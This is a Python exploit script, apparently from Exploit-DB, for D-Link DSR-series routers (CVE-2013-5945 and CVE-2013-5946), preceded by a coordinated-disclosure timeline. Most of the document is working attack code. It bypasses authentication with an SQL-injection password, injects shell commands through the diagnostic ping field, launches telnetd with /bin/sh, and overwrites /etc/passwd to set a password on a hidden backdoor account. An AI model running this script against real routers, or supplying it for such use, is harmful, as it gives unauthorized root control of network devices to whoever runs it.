1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 |
#!/usr/bin/python # # CVEs:CVE-2013-5945 - Authentication Bypass by SQL-Injection #CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution # # Vulnerable Routers:D-Link DSR-150 (Firmware < v1.08B44) #D-Link DSR-150N (Firmware < v1.05B64) #D-Link DSR-250 and DSR-250N (Firmware < v1.08B44) #D-Link DSR-500 and DSR-500N (Firmware < v1.08B77) #D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77) # # Likely to work on: D-Link DWC-1000 # # Download URL:http://tsd.dlink.com.tw # # Arch:mips and armv6l, Linux # # Author:0_o -- null_null #nu11.nu11 [at] yahoo.com #Oh, and it is n-u-one-one.n-u-one-one, no l's... #Wonder how the guys at packet storm could get this wrong :( # # Date:2013-08-18 # # Purpose: Get a non-persistent root shell on your D-Link DSR. # # Prerequisites: Network access to the router ports 443 and 23. #!!! NO AUTHENTICATION CREDENTIALS REQUIRED !!! # # # Coordinated Disclosure -- history and timeline: # # 2013-09-12: Informed Heise Security and asked for their support on this case # 2013-09-13: Informed the manufacturer D-Link via # http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/(contact form is buggy!) # http://www.d-link.co.za/contactus/feedback/ (contact request submitted) # http://www.dlink.com/de/de/contact-d-link (contact form is buggy!) # mail@dlink.ru (contact request sent) # info@dlink.ee (contact request sent) # info@dlink.de (contact request sent) # 2013-09-14: Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de # 2013-09-16: D-Link Russia and D-Link Germany claim to have forwarded my request. # 2013-09-17: German BSI responds, contact established. # 2013-09-24: Requested CVE-IDs. # 2013-09-25: Heise responds, contact established. # 2013-09-27: D-Link asks for details on vulns and the exploit code. # Mitre assigns two CVEs: #CVE-2013-5945 -- authentication bypass #CVE-2013-5946 -- privilege escalation # 2013-09-30: D-Link has received the exploit and documentation via BSI # 2013-11-29: Patches are available for the DSR router series via tsd.dlink.com.tw # DSR-150:Firmware v1.08B44 # DSR-150N: Firmware v1.05B64 # DSR-250 and DSR-250N: Firmware v1.08B44 # DSR-500 and DSR-500N: Firmware v1.08B77 # DSR-1000 and DSR-1000N: Firmware v1.08B77 # 2013-12-03: Public Disclosure # # And now - the fun part :-) # import httplib import urllib import telnetlib import time import sys import crypt import random import string ############################## # # CHANGE THESE VALUES -- BEGIN # # Your router's IP:PORT ipaddr = "192.168.10.1:443" # Password to be set (by this hack) on the backdoor account bdpasswd = "password" # # CHANGE THESE VALUES -- END # # persistent config file:/tmp/teamf1.cfg.ascii #Edit this file to make your changes persistent. # ############################## cookie = "" pid = -2 bduser = "" def request(m = "", u = "", b = "", h = ""): global ipaddr conn = httplib.HTTPSConnection(ipaddr, timeout = 15) assert m in ["GET", "POST"] conn.request(method = m, url = u, body = b, headers = h) ret = conn.getresponse() header = ret.getheaders() data = ret.read() conn.close() return (header, data) def login(user, passwd): global ipaddr headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 'User-Agent': "Exploit", 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi", 'Content-Type': "application/x-www-form-urlencoded"} body = {'thispage': "index.htm", 'Users.UserName': user, 'Users.Password': passwd, 'button.login.Users.deviceStatus' : "Login", 'Login.userAgent' : "Exploit"} return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers) def logout(): global ipaddr, cookie headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 'User-Agent': "Exploit", 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi", 'Content-Type': "application/x-www-form-urlencoded"} body = "" return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers) def execCmd(cmd = None): global ipaddr, cookie assert cmd != None headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 'User-Agent': "Exploit", 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm", 'Cookie': cookie, 'Content-Type': "application/x-www-form-urlencoded"} body = {'thispage': "systemCheck.htm", 'ping.ip' : "localhost;" + cmd, 'button.traceroute.diagDisplay' : "Traceroute"} return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers) def findPid(mystr = None): # "957 root2700 S/usr/sbin/telnetd -l /bin/login" assert mystr != None mypid = 0 (h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep"); s = d.find(mystr) if s > 0: # telnetd is running cand = d[s - 50 : s] try: mypid = int(cand.split("\n")[1].split()[0]) except IndexError: mypid = int(cand.split(">")[1].split()[0]) return mypid def restartTelnetd(mystr1 = None, mystr2 = None): assert mystr1 != None and mystr2 != None global pid pid = findPid("telnetd -l /bin/") if pid > 0: # Stopping the running telnetd print "[+] Stopping telnetd (" + str(pid) + "): ", sys.stdout.flush() (h, d) = execCmd("kill " + str(pid)) pid = findPid(mystr1) if pid > 0: print "FAILURE" sys.exit(-1) else: print "OK" # Starting a new telnetd print "[+] Starting telnetd: ", sys.stdout.flush() (h, d) = execCmd("telnetd -l " + mystr2) pid = findPid("telnetd -l " + mystr2) if pid > 0: print "OK (" + str(pid) + ")" else: print "FAILURE" sys.exit(-1) def main(): global ipaddr, cookie, pid, bduser, bdpasswd user = "admin" passwd = "' or 'a'='a" print "\n\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)" print "This change is non-persistent to device reboots." print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\n\n" # Logging into the router print "[+] Trying to log into the router: ", sys.stdout.flush() (h, d) = login(user, passwd) if d.find("User already logged in") > 0: print "FAILURE" print "[-] The user \"admin\" is still logged in. Please log out from your current session first." sys.exit(-1) elif d.find('<a href="https://www.exploit-db.com/exploits/30062/?page=index.htm">Logout</a>') > 0: while h: (c1, c2) = h.pop() if c1 == 'set-cookie': cookie = c2 break print "OK (" + cookie + ")" elif d.find("Invalid username or password") > 0: print "FAILURE" print "[-] Invalid username or password" sys.exit(-1) else: print "FAILURE" print "[-] Unable to login." sys.exit(-1) # Starting a telnetd with custom parameters print "[+] Preparing the hack..." restartTelnetd("/bin/login", "/bin/sh") # Do the h4cK print "[+] Hacking the router..." print "[+] Getting the backdoor user name: ", sys.stdout.flush() tn = telnetlib.Telnet(ipaddr.split(":")[0]) tn.read_very_eager() tn.write("cat /etc/profile\n") time.sleep(5) data = tn.read_very_eager() for i in data.split("\n"): if i.find('"$USER"') > 0: bduser = i.split('"')[3] break if len(bduser) > 0: print "OK (" + bduser + ")" else: print "FAILURE" sys.exit(-1) print "[+] Setting the new password for " + bduser + ": ", sys.stdout.flush() tn.write("cat /etc/passwd\n") time.sleep(5) data = tn.read_very_eager() data = data.split("\n") data.reverse() data.pop() data.reverse() data.pop() data = "\n".join(data) for i in data.split("\n"): if i.find(bduser) >= 0: line = i.split(':') s1 = string.lowercase + string.uppercase + string.digits salt = ''.join(random.sample(s1,2)) pw = crypt.crypt(bdpasswd, salt) line[1] = pw # doesn't work for some odd reason -- too lazy to find out why #salt = ''.join(random.sample(s1,8)) #line[1] = crypt.crypt(bdpasswd, '$1$' + salt + '$') data = data.replace(i, ":".join(line)) break tn.write('echo -en "" > /etc/passwd\n') time.sleep(5) for i in data.split("\n"): tn.write('echo -en \'' + i + '\n\' >> /etc/passwd\n') time.sleep(1) data = tn.read_very_eager() tn.close() if data.find(pw) >= 0: print "OK (" + pw + ")" success = True else: print "FAILURE" print "[-] Could not set the new password." sys.exit(-1) # Switching back to the originals print "[+] Mobbing up..." restartTelnetd("/bin/sh", "/bin/login") # Logging out print "[+] Logging out: ", sys.stdout.flush() (h, d) = logout() if d.find('value="Login"') > 0: print "OK" else: print "FAILURE" print "[-] Unable to determine if user is logged out." # Print success message if success: print "[+] You can now log in via SSH and Telnet by using:" print "user: " + bduser print "pass: " + bdpasswd print "These changes will be reverted upon router reboot." print "Edit \"/tmp/teamf1.cfg.ascii\" to make your changes persistent." main() sys.exit(0) |